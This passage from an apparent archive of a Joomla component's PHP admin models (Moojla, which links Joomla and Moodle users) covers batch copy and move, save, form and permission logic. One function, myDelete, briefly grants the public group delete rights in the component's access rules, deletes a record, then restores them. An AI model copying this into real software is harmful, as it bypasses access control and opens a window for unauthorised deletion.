
		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->juserfields)
&& !is_numeric($this->table->juserfields))
			{
				$this->table->juserfields =
$this->generateUnique('juserfields',$this->table->juserfields);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('user_field_map');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/user_map.php000064400000056154151165724400010373 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla User_map Model
 */
class MoojlaModelUser_map extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'debug',
				'jid',
				'userimage'
			),
			'right' => array(
				'updatetype',
				'mid'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.user_map';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'user_map', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_model.130.$$$$]***/
  public function myDelete($pk){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('rules',
'id')));
    $query->from($db->quoteName('#__assets'));
    $query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $acls = json_decode($results[0]->rules);

    $deleteAcl = null;
    $permission = 'core.delete';
    if(!property_exists($acls, $permission))
    {
      $acls->$permission = new stdClass();
    }

    $pub = '1';

    $acls->$permission->$pub = 1;
    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = json_encode($acls);
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    $obj = new stdClass();
    $obj->id = $pk;
    $obj->published = -2;
    JFactory::getDbo()->updateObject('#__moojla_user_map',
$obj, 'id'); // trash item

    $pks = array($pk);
    $res = $this->delete($pks);

    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = $results[0]->rules;
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    return $res;
  }
/***[/JCBGUI$$$$]***/

    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.user_map',
'user_map', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.user_map.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/user_map.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.user_map.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.user_map.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.user_map.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_user_map'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.user_map.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.user_map', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('user_map');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('user_map');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->jid) &&
!is_numeric($this->table->jid))
			{
				$this->table->jid =
$this->generateUnique('jid',$this->table->jid);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('user_map');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}


/***[JCBGUI.admin_view.php_before_save.130.$$$$]***/
    if($data['mid'])
    {
      $dataObj = array(
        "wsfunction"          => 
"moojla_user_get_users",
        "moodlewsrestformat"  =>  "json",
        "criteria"            =>  array(
          array(
            'key'             =>  'id',
            'value'           =>  $data['mid']
          )
        )
      );
      $moodleuser =
current(json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response));
      if(is_array($moodleuser) && !empty($moodleuser))
      {
        $data['userimage'] =
str_replace('/pluginfile.php/',
'/auth/moojla/pluginfile_moojla.php/',
$moodleuser[0]->profileimageurl);
      }
    }
/***[/JCBGUI$$$$]***/

        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/user_maps.php000064400000024271151165724400010551 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_maps.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_maps Model
 */
class MoojlaModelUser_maps extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.jid','jid',
				'a.mid','mid'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$jid = $this->getUserStateFromRequest($this->context .
'.filter.jid', 'filter_jid');
		if ($formSubmited)
		{
			$jid = $app->input->post->get('jid');
			$this->setState('filter.jid', $jid);
		}

		$mid = $this->getUserStateFromRequest($this->context .
'.filter.mid', 'filter_mid');
		if ($formSubmited)
		{
			$mid = $app->input->post->get('mid');
			$this->setState('filter.mid', $mid);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

/***[JCBGUI.admin_view.php_getitems_after_all.130.$$$$]***/
    foreach($items as $index => $it)
    {
      if($it->userimage)
      {
